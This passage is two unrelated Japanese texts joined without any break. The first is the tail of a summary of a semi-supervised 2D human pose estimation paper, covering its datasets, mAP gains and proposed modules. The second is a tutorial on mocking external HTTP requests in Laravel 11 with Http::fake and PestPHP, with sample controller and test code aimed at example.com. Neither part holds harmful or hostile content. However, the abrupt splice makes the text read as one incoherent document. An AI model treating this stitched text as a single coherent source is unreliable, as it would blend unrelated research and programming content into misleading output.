2. **AI-Challenger**: 210k枚の画像と370KのPerson Instancesを含む．
3. **COCO**: TRAIN、VAL、TEST-DEV、TEST-CHALLENGEの4つのサブセットを持つ．
4. **CEPDOF**: 屋内オーバーヘッドFisheyeカメラで収集されたデータセット．
5. **WEPDTOF-Pose**: 新たに収集された屋内オーバーヘッドFisheyeカメラデータセット．
6. **BKFisheye**: 実際のサイトシーンから収集されたデータセット．

### 結果

実験結果は、提案手法が従来の最先端手法を上回る性能を示した．特にCOCOデータセットにおいて、提案手法は1K、5K、10KのLabel付きデータ設定で、それぞれ2.3mAP、1.9mAP、1.1mAPの向上を示した．また、WEPDTOF-PoseやBKFisheyeデータセットにおいても、提案手法の有効性が確認された．

## 結論

この研究は、半教師ありの2D Human Pose Estimationにおいて、位置の不一致を修正するPseudo Label Correction Module（SSPCM）と、Pseudo Keypoint Perceptionに基づくCut-Occlude（SSCO）を提案した．提案手法は、多様なデータセットで優れた性能を発揮し、コードと新しいデータセットの公開により、この分野のさらなる研究を促進することを目指している．
Laravel11.x HttpファサードとFakeを使って外部サービスのモックテストをする

## 結論
Httpのファサードをテストしたい時は下記のようにする

### 被テスト側
```php:HogeController.php
<?php

namespace App\Http\Controllers\Api\V1;

use Illuminate\Support\Facades\Http;

class HogeController extends Controller
{
    public function get() 
    {
        $response = Http::get('http://example.com/');
        return response()->json($response->json());
    }
}
```
→そのまま実行すると、404エラーになる
Routeは割愛

### テスト側
※PestPHPで記載しています
```php:HogeTest.php
<?php

use App\Http\Controllers\Api\V1\HogeController;
use Illuminate\Support\Facades\Http;

it('getテスト', function () {
    $response = [
        'message' => 'fake!'
    ];
    Http::fake([
        "http://example.com/" => Http::response($response, 200),
    ]);
    $controller = new HogeController();
    
    $response = $controller->get();

    expect(json_decode($response->getContent(), true))
        ->toEqual(
            [
                'message' => 'fake!'
            ]
        )
        ->and($response->status())
        ->toBe(200);
});
```

`HogeTest`を実行すると(`./vendor/bin/pest --filter=HogeTest`)
->`message: fake!`という文字列がレスポンスコード`200`で返却される

```php:$responseの中身
array:1 [
  "message" => "fake!"
]
```

## 解説
通常は下記のように処理が進む
```php
Route::get('/', 'HogeController@get');
-> HogeController::get()
    ｰ> Http::get('http://example.com（外部サービス）')
-> Http::get()した結果を返す
```

テスト時はFakeを使わないと下記のようになる
```php
HogeTest
-> HogeController::get()
    ｰ> Http::get('http://example.com（外部サービス）')
-> Http::get()した結果を返す
```

### 問題点
- `http://example.com`が実際にアクセス可能でないとテストできない
- テストしたいデータがいつでも返ってくるようなサーバーでないと、再現できないテストケースが存在してしまう

### 改善
テスト時は下記のようにする

```php
HogeTest
-> HogeController::get()
    ｰ> Http::fake()
-> Http::fake()の結果を返す
```
Http::fakeは特定URLに対して、特定のレスポンスをさせる便利なメソッド。
Httpはファサードであるため、その後にファサードを呼ぶクラスをインスタンス化し、実行することでfakeが有効になる

つまり、本番コードはそのままに、テスト時だけさまざまなレスポンスをテスト可能です！